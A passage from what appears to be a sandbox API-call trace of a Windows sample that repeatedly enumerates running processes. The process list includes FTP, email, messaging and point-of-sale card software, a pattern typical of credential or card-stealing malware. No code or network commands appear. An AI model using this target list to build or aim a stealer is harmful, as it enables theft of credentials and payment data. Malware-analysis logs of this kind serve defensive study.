cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0294.284] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0294.287] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0294.289] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0294.291] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0294.293] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0294.295] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0294.297] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0294.299] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0294.349] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0294.351] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0294.352] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0294.354] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0294.356] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0294.358] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0294.359] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0294.361] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0294.363] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0294.364] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0294.366] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0294.368] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0294.369] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0294.371] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0294.373] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0294.375] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0294.376] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0294.378] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0294.380] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0294.382] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0294.384] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0294.386] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0294.388] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0294.390] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0294.392] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0294.444] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0294.446] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0294.448] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0294.451] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0294.453] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0294.455] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0294.457] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0294.459] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0294.461] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0294.463] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0294.465] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0294.467] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0294.470] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0294.472] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0294.474] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0294.476] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0294.478] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0294.480] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0294.482] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0294.484] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0294.486] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0294.536] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0294.538] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0294.540] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0294.543] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0294.545] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0294.547] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0294.550] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0294.552] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0294.554] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0294.556] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0294.558] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0294.560] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0294.562] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0294.564] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0294.566] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0294.568] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0294.570] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0294.572] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0294.575] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0294.577] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0294.579] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0294.628] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0294.630] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0294.632] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0294.633] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0294.635] CloseHandle (hObject=0x344) returned 1 [0294.635] Sleep (dwMilliseconds=0x64) [0294.676] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0294.691] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.693] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0294.694] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0294.696] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0294.697] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, 